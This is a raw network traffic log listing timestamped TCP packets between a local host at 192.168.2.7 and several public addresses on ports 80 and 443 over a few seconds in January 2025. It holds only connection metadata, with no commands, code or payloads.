Jan 12, 2025 09:27:39.668927908 CET	50504	80	192.168.2.7	188.114.97.3
Jan 12, 2025 09:27:39.669800043 CET	50507	443	192.168.2.7	172.67.198.113
Jan 12, 2025 09:27:39.669850111 CET	443	50507	172.67.198.113	192.168.2.7
Jan 12, 2025 09:27:39.669920921 CET	50507	443	192.168.2.7	172.67.198.113
Jan 12, 2025 09:27:39.669959068 CET	50507	443	192.168.2.7	172.67.198.113
Jan 12, 2025 09:27:39.670068979 CET	443	50507	172.67.198.113	192.168.2.7
Jan 12, 2025 09:27:39.670111895 CET	50507	443	192.168.2.7	172.67.198.113
Jan 12, 2025 09:27:39.670336008 CET	50508	80	192.168.2.7	172.67.198.113
Jan 12, 2025 09:27:39.673759937 CET	80	50504	188.114.97.3	192.168.2.7
Jan 12, 2025 09:27:39.675183058 CET	80	50508	172.67.198.113	192.168.2.7
Jan 12, 2025 09:27:39.675244093 CET	50508	80	192.168.2.7	172.67.198.113
Jan 12, 2025 09:27:39.675282001 CET	50508	80	192.168.2.7	172.67.198.113
Jan 12, 2025 09:27:39.680115938 CET	80	50508	172.67.198.113	192.168.2.7
Jan 12, 2025 09:27:39.839659929 CET	80	50506	104.21.64.1	192.168.2.7
Jan 12, 2025 09:27:39.839853048 CET	50506	80	192.168.2.7	104.21.64.1
Jan 12, 2025 09:27:39.839858055 CET	80	50506	104.21.64.1	192.168.2.7
Jan 12, 2025 09:27:39.839912891 CET	50506	80	192.168.2.7	104.21.64.1
Jan 12, 2025 09:27:39.842248917 CET	50512	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:27:39.842283964 CET	443	50512	104.21.60.172	192.168.2.7
Jan 12, 2025 09:27:39.842360020 CET	50512	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:27:39.842777967 CET	50512	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:27:39.842789888 CET	443	50512	104.21.60.172	192.168.2.7
Jan 12, 2025 09:27:39.844698906 CET	80	50506	104.21.64.1	192.168.2.7
Jan 12, 2025 09:27:40.136537075 CET	80	50508	172.67.198.113	192.168.2.7
Jan 12, 2025 09:27:40.136634111 CET	50508	80	192.168.2.7	172.67.198.113
Jan 12, 2025 09:27:40.137101889 CET	80	50508	172.67.198.113	192.168.2.7
Jan 12, 2025 09:27:40.137157917 CET	50508	80	192.168.2.7	172.67.198.113
Jan 12, 2025 09:27:40.137406111 CET	50513	443	192.168.2.7	172.67.176.186
Jan 12, 2025 09:27:40.137507915 CET	443	50513	172.67.176.186	192.168.2.7
Jan 12, 2025 09:27:40.137602091 CET	50513	443	192.168.2.7	172.67.176.186
Jan 12, 2025 09:27:40.137670040 CET	50513	443	192.168.2.7	172.67.176.186
Jan 12, 2025 09:27:40.137779951 CET	443	50513	172.67.176.186	192.168.2.7
Jan 12, 2025 09:27:40.137844086 CET	50513	443	192.168.2.7	172.67.176.186
Jan 12, 2025 09:27:40.137922049 CET	50514	80	192.168.2.7	172.67.176.186
Jan 12, 2025 09:27:40.141500950 CET	80	50508	172.67.198.113	192.168.2.7
Jan 12, 2025 09:27:40.142771959 CET	80	50514	172.67.176.186	192.168.2.7
Jan 12, 2025 09:27:40.142832994 CET	50514	80	192.168.2.7	172.67.176.186
Jan 12, 2025 09:27:40.142851114 CET	50514	80	192.168.2.7	172.67.176.186
Jan 12, 2025 09:27:40.147715092 CET	80	50514	172.67.176.186	192.168.2.7
Jan 12, 2025 09:27:40.318865061 CET	443	50512	104.21.60.172	192.168.2.7
Jan 12, 2025 09:27:40.318947077 CET	50512	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:27:40.320200920 CET	50512	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:27:40.320239067 CET	443	50512	104.21.60.172	192.168.2.7
Jan 12, 2025 09:27:40.320302010 CET	50512	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:27:40.320874929 CET	50515	443	192.168.2.7	188.114.97.3
Jan 12, 2025 09:27:40.320900917 CET	443	50515	188.114.97.3	192.168.2.7
Jan 12, 2025 09:27:40.320980072 CET	50515	443	192.168.2.7	188.114.97.3
Jan 12, 2025 09:27:40.321001053 CET	50515	443	192.168.2.7	188.114.97.3
Jan 12, 2025 09:27:40.321074009 CET	443	50515	188.114.97.3	192.168.2.7
Jan 12, 2025 09:27:40.321125984 CET	50515	443	192.168.2.7	188.114.97.3
Jan 12, 2025 09:27:40.321403027 CET	50516	80	192.168.2.7	188.114.97.3
Jan 12, 2025 09:27:40.326318979 CET	80	50516	188.114.97.3	192.168.2.7
Jan 12, 2025 09:27:40.326406002 CET	50516	80	192.168.2.7	188.114.97.3
Jan 12, 2025 09:27:40.326431036 CET	50516	80	192.168.2.7	188.114.97.3
Jan 12, 2025 09:27:40.331223965 CET	80	50516	188.114.97.3	192.168.2.7
Jan 12, 2025 09:27:40.619185925 CET	80	50514	172.67.176.186	192.168.2.7
Jan 12, 2025 09:27:40.619627953 CET	50514	80	192.168.2.7	172.67.176.186
Jan 12, 2025 09:27:40.619702101 CET	80	50514	172.67.176.186	192.168.2.7
Jan 12, 2025 09:27:40.619765997 CET	50514	80	192.168.2.7	172.67.176.186
Jan 12, 2025 09:27:40.620577097 CET	50517	443	192.168.2.7	104.21.64.1
Jan 12, 2025 09:27:40.620620012 CET	443	50517	104.21.64.1	192.168.2.7
Jan 12, 2025 09:27:40.620714903 CET	50517	443	192.168.2.7	104.21.64.1
Jan 12, 2025 09:27:40.620750904 CET	50517	443	192.168.2.7	104.21.64.1
Jan 12, 2025 09:27:40.620855093 CET	443	50517	104.21.64.1	192.168.2.7
Jan 12, 2025 09:27:40.620913029 CET	50517	443	192.168.2.7	104.21.64.1
Jan 12, 2025 09:27:40.621211052 CET	50518	80	192.168.2.7	104.21.64.1
Jan 12, 2025 09:27:40.624509096 CET	80	50514	172.67.176.186	192.168.2.7
Jan 12, 2025 09:27:40.626045942 CET	80	50518	104.21.64.1	192.168.2.7
Jan 12, 2025 09:27:40.626102924 CET	50518	80	192.168.2.7	104.21.64.1
Jan 12, 2025 09:27:40.626126051 CET	50518	80	192.168.2.7	104.21.64.1
Jan 12, 2025 09:27:40.630907059 CET	80	50518	104.21.64.1	192.168.2.7
Jan 12, 2025 09:27:40.797707081 CET	80	50516	188.114.97.3	192.168.2.7
Jan 12, 2025 09:27:40.797801971 CET	50516	80	192.168.2.7	188.114.97.3
Jan 12, 2025 09:27:40.798316956 CET	80	50516	188.114.97.3	192.168.2.7
Jan 12, 2025 09:27:40.798368931 CET	50516	80	192.168.2.7	188.114.97.3
Jan 12, 2025 09:27:40.798408985 CET	50519	443	192.168.2.7	172.67.198.113
Jan 12, 2025 09:27:40.798444033 CET	443	50519	172.67.198.113	192.168.2.7
Jan 12, 2025 09:27:40.798506975 CET	50519	443	192.168.2.7	172.67.198.113
Jan 12, 2025 09:27:40.798532009 CET	50519	443	192.168.2.7	172.67.198.113
Jan 12, 2025 09:27:40.798619032 CET	443	50519	172.67.198.113	192.168.2.7
Jan 12, 2025 09:27:40.798661947 CET	50519	443	192.168.2.7	172.67.198.113
Jan 12, 2025 09:27:40.798894882 CET	50520	80	192.168.2.7	172.67.198.113
Jan 12, 2025 09:27:40.802623034 CET	80	50516	188.114.97.3	192.168.2.7
Jan 12, 2025 09:27:40.803755045 CET	80	50520	172.67.198.113	192.168.2.7
Jan 12, 2025 09:27:40.803819895 CET	50520	80	192.168.2.7	172.67.198.113
Jan 12, 2025 09:27:40.803849936 CET	50520	80	192.168.2.7	172.67.198.113
Jan 12, 2025 09:27:40.808710098 CET	80	50520	172.67.198.113	192.168.2.7
Jan 12, 2025 09:27:41.082376957 CET	80	50518	104.21.64.1	192.168.2.7
Jan 12, 2025 09:27:41.082499981 CET	50518	80	192.168.2.7	104.21.64.1
Jan 12, 2025 09:27:41.082987070 CET	80	50518	104.21.64.1	192.168.2.7
Jan 12, 2025 09:27:41.083096981 CET	50518	80	192.168.2.7	104.21.64.1
Jan 12, 2025 09:27:41.085117102 CET	50523	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:27:41.085167885 CET	443	50523	104.21.60.172	192.168.2.7
Jan 12, 2025 09:27:41.085252047 CET	50523	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:27:41.085745096 CET	50523	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:27:41.085763931 CET	443	50523	104.21.60.172	192.168.2.7
Jan 12, 2025 09:27:41.087366104 CET	80	50518	104.21.64.1	192.168.2.7
Jan 12, 2025 09:27:41.256297112 CET	80	50520	172.67.198.113	192.168.2.7
Jan 12, 2025 09:27:41.256388903 CET	50520	80	192.168.2.7	172.67.198.113
Jan 12, 2025 09:27:41.256666899 CET	80	50520	172.67.198.113	192.168.2.7
Jan 12, 2025 09:27:41.256716967 CET	50520	80	192.168.2.7	172.67.198.113
Jan 12, 2025 09:27:41.257050991 CET	50524	443	192.168.2.7	172.67.176.186
Jan 12, 2025 09:27:41.257155895 CET	443	50524	172.67.176.186	192.168.2.7
Jan 12, 2025 09:27:41.257252932 CET	50524	443	192.168.2.7	172.67.176.186
Jan 12, 2025 09:27:41.257252932 CET	50524	443	192.168.2.7	172.67.176.186
Jan 12, 2025 09:27:41.257422924 CET	443	50524	172.67.176.186	192.168.2.7
Jan 12, 2025 09:27:41.257486105 CET	50524	443	192.168.2.7	172.67.176.186
Jan 12, 2025 09:27:41.257627964 CET	50525	80	192.168.2.7	172.67.176.186
Jan 12, 2025 09:27:41.261208057 CET	80	50520	172.67.198.113	192.168.2.7
Jan 12, 2025 09:27:41.262510061 CET	80	50525	172.67.176.186	192.168.2.7
Jan 12, 2025 09:27:41.262597084 CET	50525	80	192.168.2.7	172.67.176.186
Jan 12, 2025 09:27:41.262597084 CET	50525	80	192.168.2.7	172.67.176.186
Jan 12, 2025 09:27:41.267412901 CET	80	50525	172.67.176.186	192.168.2.7
Jan 12, 2025 09:27:41.539542913 CET	443	50523	104.21.60.172	192.168.2.7
Jan 12, 2025 09:27:41.539720058 CET	50523	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:27:41.579680920 CET	50523	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:27:41.579792976 CET	443	50523	104.21.60.172	192.168.2.7
Jan 12, 2025 09:27:41.579869986 CET	50523	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:27:41.580296993 CET	50526	443	192.168.2.7	188.114.97.3
Jan 12, 2025 09:27:41.580353975 CET	443	50526	188.114.97.3	192.168.2.7
Jan 12, 2025 09:27:41.580430984 CET	50526	443	192.168.2.7	188.114.97.3
Jan 12, 2025 09:27:41.580487967 CET	50526	443	192.168.2.7	188.114.97.3
Jan 12, 2025 09:27:41.580581903 CET	443	50526	188.114.97.3	192.168.2.7
Jan 12, 2025 09:27:41.580636978 CET	50526	443	192.168.2.7	188.114.97.3
Jan 12, 2025 09:27:41.580923080 CET	50527	80	192.168.2.7	188.114.97.3
Jan 12, 2025 09:27:41.586474895 CET	80	50527	188.114.97.3	192.168.2.7
Jan 12, 2025 09:27:41.586563110 CET	50527	80	192.168.2.7	188.114.97.3
Jan 12, 2025 09:27:41.586620092 CET	50527	80	192.168.2.7	188.114.97.3
Jan 12, 2025 09:27:41.592138052 CET	80	50527	188.114.97.3	192.168.2.7
Jan 12, 2025 09:27:41.733855009 CET	80	50525	172.67.176.186	192.168.2.7
Jan 12, 2025 09:27:41.734024048 CET	50525	80	192.168.2.7	172.67.176.186
Jan 12, 2025 09:27:41.734106064 CET	80	50525	172.67.176.186	192.168.2.7
Jan 12, 2025 09:27:41.734172106 CET	50525	80	192.168.2.7	172.67.176.186
Jan 12, 2025 09:27:41.734817028 CET	50528	443	192.168.2.7	104.21.64.1
Jan 12, 2025 09:27:41.734853029 CET	443	50528	104.21.64.1	192.168.2.7
Jan 12, 2025 09:27:41.734935045 CET	50528	443	192.168.2.7	104.21.64.1
Jan 12, 2025 09:27:41.734978914 CET	50528	443	192.168.2.7	104.21.64.1
Jan 12, 2025 09:27:41.735073090 CET	443	50528	104.21.64.1	192.168.2.7
Jan 12, 2025 09:27:41.735152006 CET	50528	443	192.168.2.7	104.21.64.1
Jan 12, 2025 09:27:41.735564947 CET	50529	80	192.168.2.7	104.21.64.1
Jan 12, 2025 09:27:41.738850117 CET	80	50525	172.67.176.186	192.168.2.7
Jan 12, 2025 09:27:41.740478039 CET	80	50529	104.21.64.1	192.168.2.7
Jan 12, 2025 09:27:41.740596056 CET	50529	80	192.168.2.7	104.21.64.1
Jan 12, 2025 09:27:41.740596056 CET	50529	80	192.168.2.7	104.21.64.1
Jan 12, 2025 09:27:41.745467901 CET	80	50529	104.21.64.1	192.168.2.7
Jan 12, 2025 09:27:42.045916080 CET	80	50527	188.114.97.3	192.168.2.7
Jan 12, 2025 09:27:42.046089888 CET	50527	80	192.168.2.7	188.114.97.3
Jan 12, 2025 09:27:42.046153069 CET	80	50527	188.114.97.3	192.168.2.7
Jan 12, 2025 09:27:42.046221972 CET	50527	80	192.168.2.7	188.114.97.3
Jan 12, 2025 09:27:42.046854973 CET	50530	443	192.168.2.7	172.67.198.113
Jan 12, 2025 09:27:42.046925068 CET	443	50530	172.67.198.113	192.168.2.7
Jan 12, 2025 09:27:42.047017097 CET	50530	443	192.168.2.7	172.67.198.113
Jan 12, 2025 09:27:42.047086000 CET	50530	443	192.168.2.7	172.67.198.113
Jan 12, 2025 09:27:42.047173023 CET	443	50530	172.67.198.113	192.168.2.7
Jan 12, 2025 09:27:42.047236919 CET	50530	443	192.168.2.7	172.67.198.113
Jan 12, 2025 09:27:42.047519922 CET	50531	80	192.168.2.7	172.67.198.113
Jan 12, 2025 09:27:42.050964117 CET	80	50527	188.114.97.3	192.168.2.7
Jan 12, 2025 09:27:42.052359104 CET	80	50531	172.67.198.113	192.168.2.7
Jan 12, 2025 09:27:42.052422047 CET	50531	80	192.168.2.7	172.67.198.113
Jan 12, 2025 09:27:42.052455902 CET	50531	80	192.168.2.7	172.67.198.113
Jan 12, 2025 09:27:42.057301044 CET	80	50531	172.67.198.113	192.168.2.7
Jan 12, 2025 09:27:42.189747095 CET	80	50529	104.21.64.1	192.168.2.7
Jan 12, 2025 09:27:42.189910889 CET	50529	80	192.168.2.7	104.21.64.1
Jan 12, 2025 09:27:42.190243006 CET	80	50529	104.21.64.1	192.168.2.7
Jan 12, 2025 09:27:42.190310955 CET	50529	80	192.168.2.7	104.21.64.1
Jan 12, 2025 09:27:42.192924976 CET	50534	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:27:42.192969084 CET	443	50534	104.21.60.172	192.168.2.7
Jan 12, 2025 09:27:42.193039894 CET	50534	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:27:42.193577051 CET	50534	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:27:42.193598986 CET	443	50534	104.21.60.172	192.168.2.7
Jan 12, 2025 09:27:42.194825888 CET	80	50529	104.21.64.1	192.168.2.7
Jan 12, 2025 09:27:42.534681082 CET	80	50531	172.67.198.113	192.168.2.7
Jan 12, 2025 09:27:42.534790993 CET	50531	80	192.168.2.7	172.67.198.113
Jan 12, 2025 09:27:42.534986019 CET	80	50531	172.67.198.113	192.168.2.7
Jan 12, 2025 09:27:42.535063982 CET	50531	80	192.168.2.7	172.67.198.113
Jan 12, 2025 09:27:42.535609961 CET	50535	443	192.168.2.7	172.67.176.186
Jan 12, 2025 09:27:42.535641909 CET	443	50535	172.67.176.186	192.168.2.7
Jan 12, 2025 09:27:42.535720110 CET	50535	443	192.168.2.7	172.67.176.186
Jan 12, 2025 09:27:42.535783052 CET	50535	443	192.168.2.7	172.67.176.186
Jan 12, 2025 09:27:42.535909891 CET	443	50535	172.67.176.186	192.168.2.7
Jan 12, 2025 09:27:42.536001921 CET	50535	443	192.168.2.7	172.67.176.186
Jan 12, 2025 09:27:42.536391973 CET	50536	80	192.168.2.7	172.67.176.186
Jan 12, 2025 09:27:42.539637089 CET	80	50531	172.67.198.113	192.168.2.7
Jan 12, 2025 09:27:42.541229010 CET	80	50536	172.67.176.186	192.168.2.7
Jan 12, 2025 09:27:42.541306973 CET	50536	80	192.168.2.7	172.67.176.186
Jan 12, 2025 09:27:42.541354895 CET	50536	80	192.168.2.7	172.67.176.186
Jan 12, 2025 09:27:42.546113968 CET	80	50536	172.67.176.186	192.168.2.7
Jan 12, 2025 09:27:42.666347027 CET	443	50534	104.21.60.172	192.168.2.7
Jan 12, 2025 09:27:42.666472912 CET	50534	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:27:42.669771910 CET	50534	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:27:42.669807911 CET	443	50534	104.21.60.172	192.168.2.7
Jan 12, 2025 09:27:42.669866085 CET	50534	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:27:42.670568943 CET	50537	443	192.168.2.7	188.114.97.3
Jan 12, 2025 09:27:42.670607090 CET	443	50537	188.114.97.3	192.168.2.7
Jan 12, 2025 09:27:42.670687914 CET	50537	443	192.168.2.7	188.114.97.3
Jan 12, 2025 09:27:42.670711994 CET	50537	443	192.168.2.7	188.114.97.3
Jan 12, 2025 09:27:42.670783997 CET	443	50537	188.114.97.3	192.168.2.7
Jan 12, 2025 09:27:42.670836926 CET	50537	443	192.168.2.7	188.114.97.3
Jan 12, 2025 09:27:42.671133041 CET	50538	80	192.168.2.7	188.114.97.3
Jan 12, 2025 09:27:42.675998926 CET	80	50538	188.114.97.3	192.168.2.7
Jan 12, 2025 09:27:42.676191092 CET	50538	80	192.168.2.7	188.114.97.3
Jan 12, 2025 09:27:42.676211119 CET	50538	80	192.168.2.7	188.114.97.3
Jan 12, 2025 09:27:42.681003094 CET	80	50538	188.114.97.3	192.168.2.7
Jan 12, 2025 09:27:43.017940998 CET	80	50536	172.67.176.186	192.168.2.7
Jan 12, 2025 09:27:43.018069029 CET	50536	80	192.168.2.7	172.67.176.186
Jan 12, 2025 09:27:43.018412113 CET	80	50536	172.67.176.186	192.168.2.7
Jan 12, 2025 09:27:43.018471956 CET	50536	80	192.168.2.7	172.67.176.186
Jan 12, 2025 09:27:43.018812895 CET	50539	443	192.168.2.7	104.21.64.1
Jan 12, 2025 09:27:43.018860102 CET	443	50539	104.21.64.1	192.168.2.7
Jan 12, 2025 09:27:43.018933058 CET	50539	443	192.168.2.7	104.21.64.1
Jan 12, 2025 09:27:43.018969059 CET	50539	443	192.168.2.7	104.21.64.1
Jan 12, 2025 09:27:43.019057989 CET	443	50539	104.21.64.1	192.168.2.7
Jan 12, 2025 09:27:43.019114971 CET	50539	443	192.168.2.7	104.21.64.1
Jan 12, 2025 09:27:43.019526005 CET	50540	80	192.168.2.7	104.21.64.1
Jan 12, 2025 09:27:43.022933006 CET	80	50536	172.67.176.186	192.168.2.7
Jan 12, 2025 09:27:43.024391890 CET	80	50540	104.21.64.1	192.168.2.7
Jan 12, 2025 09:27:43.024590969 CET	50540	80	192.168.2.7	104.21.64.1
Jan 12, 2025 09:27:43.024660110 CET	50540	80	192.168.2.7	104.21.64.1
Jan 12, 2025 09:27:43.029561043 CET	80	50540	104.21.64.1	192.168.2.7
Jan 12, 2025 09:27:43.167423010 CET	80	50538	188.114.97.3	192.168.2.7
Jan 12, 2025 09:27:43.167562962 CET	50538	80	192.168.2.7	188.114.97.3
Jan 12, 2025 09:27:43.167906046 CET	80	50538	188.114.97.3	192.168.2.7
Jan 12, 2025 09:27:43.167956114 CET	50538	80	192.168.2.7	188.114.97.3
Jan 12, 2025 09:27:43.168374062 CET	50541	443	192.168.2.7	172.67.198.113
Jan 12, 2025 09:27:43.168428898 CET	443	50541	172.67.198.113	192.168.2.7
Jan 12, 2025 09:27:43.168500900 CET	50541	443	192.168.2.7	172.67.198.113
Jan 12, 2025 09:27:43.168581009 CET	50541	443	192.168.2.7	172.67.198.113
Jan 12, 2025 09:27:43.168715000 CET	443	50541	172.67.198.113	192.168.2.7
Jan 12, 2025 09:27:43.168771029 CET	50541	443	192.168.2.7	172.67.198.113
Jan 12, 2025 09:27:43.168999910 CET	50542	80	192.168.2.7	172.67.198.113
Jan 12, 2025 09:27:43.172421932 CET	80	50538	188.114.97.3	192.168.2.7
Jan 12, 2025 09:27:43.173949957 CET	80	50542	172.67.198.113	192.168.2.7
Jan 12, 2025 09:27:43.174007893 CET	50542	80	192.168.2.7	172.67.198.113
Jan 12, 2025 09:27:43.174021959 CET	50542	80	192.168.2.7	172.67.198.113
Jan 12, 2025 09:27:43.178811073 CET	80	50542	172.67.198.113	192.168.2.7
Jan 12, 2025 09:27:43.478967905 CET	80	50540	104.21.64.1	192.168.2.7
Jan 12, 2025 09:27:43.479345083 CET	80	50540	104.21.64.1	192.168.2.7
Jan 12, 2025 09:27:43.479516983 CET	50540	80	192.168.2.7	104.21.64.1
Jan 12, 2025 09:27:43.556040049 CET	50540	80	192.168.2.7	104.21.64.1
Jan 12, 2025 09:27:43.561186075 CET	80	50540	104.21.64.1	192.168.2.7
Jan 12, 2025 09:27:43.628087997 CET	80	50542	172.67.198.113	192.168.2.7
Jan 12, 2025 09:27:43.628104925 CET	80	50542	172.67.198.113	192.168.2.7
Jan 12, 2025 09:27:43.628163099 CET	50542	80	192.168.2.7	172.67.198.113
Jan 12, 2025 09:27:44.497123003 CET	50542	80	192.168.2.7	172.67.198.113
Jan 12, 2025 09:27:44.502206087 CET	80	50542	172.67.198.113	192.168.2.7
Jan 12, 2025 09:27:44.503108025 CET	50545	443	192.168.2.7	172.67.176.186
Jan 12, 2025 09:27:44.503160000 CET	443	50545	172.67.176.186	192.168.2.7
Jan 12, 2025 09:27:44.503227949 CET	50545	443	192.168.2.7	172.67.176.186
Jan 12, 2025 09:27:44.503835917 CET	50545	443	192.168.2.7	172.67.176.186
Jan 12, 2025 09:27:44.503902912 CET	443	50545	172.67.176.186	192.168.2.7
Jan 12, 2025 09:27:44.503959894 CET	50545	443	192.168.2.7	172.67.176.186
Jan 12, 2025 09:27:44.626357079 CET	50546	80	192.168.2.7	172.67.176.186
Jan 12, 2025 09:27:44.626893997 CET	50547	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:27:44.626952887 CET	443	50547	104.21.60.172	192.168.2.7
Jan 12, 2025 09:27:44.627027035 CET	50547	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:27:44.627543926 CET	50547	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:27:44.627583027 CET	443	50547	104.21.60.172	192.168.2.7
Jan 12, 2025 09:27:44.631494045 CET	80	50546	172.67.176.186	192.168.2.7
Jan 12, 2025 09:27:44.631588936 CET	50546	80	192.168.2.7	172.67.176.186
Jan 12, 2025 09:27:44.631616116 CET	50546	80	192.168.2.7	172.67.176.186
Jan 12, 2025 09:27:44.636465073 CET	80	50546	172.67.176.186	192.168.2.7
Jan 12, 2025 09:27:45.142291069 CET	443	50547	104.21.60.172	192.168.2.7
Jan 12, 2025 09:27:45.142462015 CET	50547	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:27:45.143635988 CET	50547	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:27:45.143707991 CET	443	50547	104.21.60.172	192.168.2.7
Jan 12, 2025 09:27:45.143770933 CET	50547	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:27:45.144776106 CET	50548	443	192.168.2.7	188.114.97.3
Jan 12, 2025 09:27:45.144849062 CET	443	50548	188.114.97.3	192.168.2.7
Jan 12, 2025 09:27:45.144922018 CET	50548	443	192.168.2.7	188.114.97.3
Jan 12, 2025 09:27:45.145205975 CET	50548	443	192.168.2.7	188.114.97.3
Jan 12, 2025 09:27:45.145246029 CET	443	50548	188.114.97.3	192.168.2.7
Jan 12, 2025 09:27:45.145297050 CET	50548	443	192.168.2.7	188.114.97.3
Jan 12, 2025 09:27:45.145972013 CET	50549	80	192.168.2.7	188.114.97.3
Jan 12, 2025 09:27:45.151834965 CET	80	50549	188.114.97.3	192.168.2.7
Jan 12, 2025 09:27:45.151899099 CET	50549	80	192.168.2.7	188.114.97.3
Jan 12, 2025 09:27:45.152000904 CET	50549	80	192.168.2.7	188.114.97.3
Jan 12, 2025 09:27:45.157394886 CET	80	50546	172.67.176.186	192.168.2.7
Jan 12, 2025 09:27:45.157522917 CET	50546	80	192.168.2.7	172.67.176.186
Jan 12, 2025 09:27:45.157728910 CET	80	50549	188.114.97.3	192.168.2.7
Jan 12, 2025 09:27:45.157919884 CET	80	50546	172.67.176.186	192.168.2.7
Jan 12, 2025 09:27:45.157958031 CET	50546	80	192.168.2.7	172.67.176.186
Jan 12, 2025 09:27:45.158152103 CET	50550	443	192.168.2.7	104.21.64.1
Jan 12, 2025 09:27:45.158185005 CET	443	50550	104.21.64.1	192.168.2.7
Jan 12, 2025 09:27:45.158226967 CET	50550	443	192.168.2.7	104.21.64.1
Jan 12, 2025 09:27:45.158250093 CET	50550	443	192.168.2.7	104.21.64.1
Jan 12, 2025 09:27:45.158304930 CET	443	50550	104.21.64.1	192.168.2.7
Jan 12, 2025 09:27:45.158346891 CET	50550	443	192.168.2.7	104.21.64.1
Jan 12, 2025 09:27:45.158967972 CET	50551	80	192.168.2.7	104.21.64.1
Jan 12, 2025 09:27:45.163197041 CET	80	50546	172.67.176.186	192.168.2.7
Jan 12, 2025 09:27:45.164799929 CET	80	50551	104.21.64.1	192.168.2.7
Jan 12, 2025 09:27:45.164851904 CET	50551	80	192.168.2.7	104.21.64.1
Jan 12, 2025 09:27:45.164943933 CET	50551	80	192.168.2.7	104.21.64.1
Jan 12, 2025 09:27:45.170733929 CET	80	50551	104.21.64.1	192.168.2.7
Jan 12, 2025 09:27:45.611938000 CET	80	50551	104.21.64.1	192.168.2.7
Jan 12, 2025 09:27:45.612049103 CET	50551	80	192.168.2.7	104.21.64.1
Jan 12, 2025 09:27:45.612613916 CET	80	50551	104.21.64.1	192.168.2.7
Jan 12, 2025 09:27:45.612675905 CET	50551	80	192.168.2.7	104.21.64.1
Jan 12, 2025 09:27:45.616998911 CET	80	50551	104.21.64.1	192.168.2.7
Jan 12, 2025 09:27:45.619298935 CET	50554	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:27:45.619343042 CET	443	50554	104.21.60.172	192.168.2.7
Jan 12, 2025 09:27:45.619565010 CET	50554	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:27:45.619920015 CET	50554	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:27:45.619940042 CET	443	50554	104.21.60.172	192.168.2.7
Jan 12, 2025 09:27:45.625521898 CET	80	50549	188.114.97.3	192.168.2.7
Jan 12, 2025 09:27:45.625611067 CET	50549	80	192.168.2.7	188.114.97.3
Jan 12, 2025 09:27:45.626127958 CET	50555	443	192.168.2.7	172.67.198.113
Jan 12, 2025 09:27:45.626226902 CET	443	50555	172.67.198.113	192.168.2.7
Jan 12, 2025 09:27:45.626312971 CET	50555	443	192.168.2.7	172.67.198.113
Jan 12, 2025 09:27:45.626312971 CET	50555	443	192.168.2.7	172.67.198.113
Jan 12, 2025 09:27:45.626421928 CET	443	50555	172.67.198.113	192.168.2.7
Jan 12, 2025 09:27:45.626476049 CET	50555	443	192.168.2.7	172.67.198.113
Jan 12, 2025 09:27:45.626514912 CET	80	50549	188.114.97.3	192.168.2.7
Jan 12, 2025 09:27:45.626580954 CET	50549	80	192.168.2.7	188.114.97.3
Jan 12, 2025 09:27:45.626708031 CET	50556	80	192.168.2.7	172.67.198.113
Jan 12, 2025 09:27:45.630431890 CET	80	50549	188.114.97.3	192.168.2.7
Jan 12, 2025 09:27:45.631500959 CET	80	50556	172.67.198.113	192.168.2.7
Jan 12, 2025 09:27:45.631557941 CET	50556	80	192.168.2.7	172.67.198.113
Jan 12, 2025 09:27:45.631576061 CET	50556	80	192.168.2.7	172.67.198.113
Jan 12, 2025 09:27:45.636445999 CET	80	50556	172.67.198.113	192.168.2.7
Jan 12, 2025 09:27:46.091600895 CET	443	50554	104.21.60.172	192.168.2.7
Jan 12, 2025 09:27:46.091674089 CET	50554	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:27:46.109189987 CET	50554	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:27:46.109236002 CET	443	50554	104.21.60.172	192.168.2.7
Jan 12, 2025 09:27:46.109379053 CET	50554	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:27:46.112351894 CET	80	50556	172.67.198.113	192.168.2.7
Jan 12, 2025 09:27:46.112420082 CET	50556	80	192.168.2.7	172.67.198.113
Jan 12, 2025 09:27:46.112987995 CET	80	50556	172.67.198.113	192.168.2.7
Jan 12, 2025 09:27:46.113029957 CET	50556	80	192.168.2.7	172.67.198.113
Jan 12, 2025 09:27:46.113383055 CET	50557	443	192.168.2.7	188.114.97.3
Jan 12, 2025 09:27:46.113411903 CET	443	50557	188.114.97.3	192.168.2.7
Jan 12, 2025 09:27:46.113467932 CET	50557	443	192.168.2.7	188.114.97.3
Jan 12, 2025 09:27:46.113537073 CET	50557	443	192.168.2.7	188.114.97.3
Jan 12, 2025 09:27:46.113576889 CET	443	50557	188.114.97.3	192.168.2.7
Jan 12, 2025 09:27:46.113625050 CET	50557	443	192.168.2.7	188.114.97.3
Jan 12, 2025 09:27:46.114629984 CET	50558	443	192.168.2.7	172.67.176.186
Jan 12, 2025 09:27:46.114643097 CET	443	50558	172.67.176.186	192.168.2.7
Jan 12, 2025 09:27:46.114696980 CET	50558	443	192.168.2.7	172.67.176.186
Jan 12, 2025 09:27:46.114743948 CET	50558	443	192.168.2.7	172.67.176.186
Jan 12, 2025 09:27:46.114773989 CET	443	50558	172.67.176.186	192.168.2.7
Jan 12, 2025 09:27:46.114850998 CET	50558	443	192.168.2.7	172.67.176.186
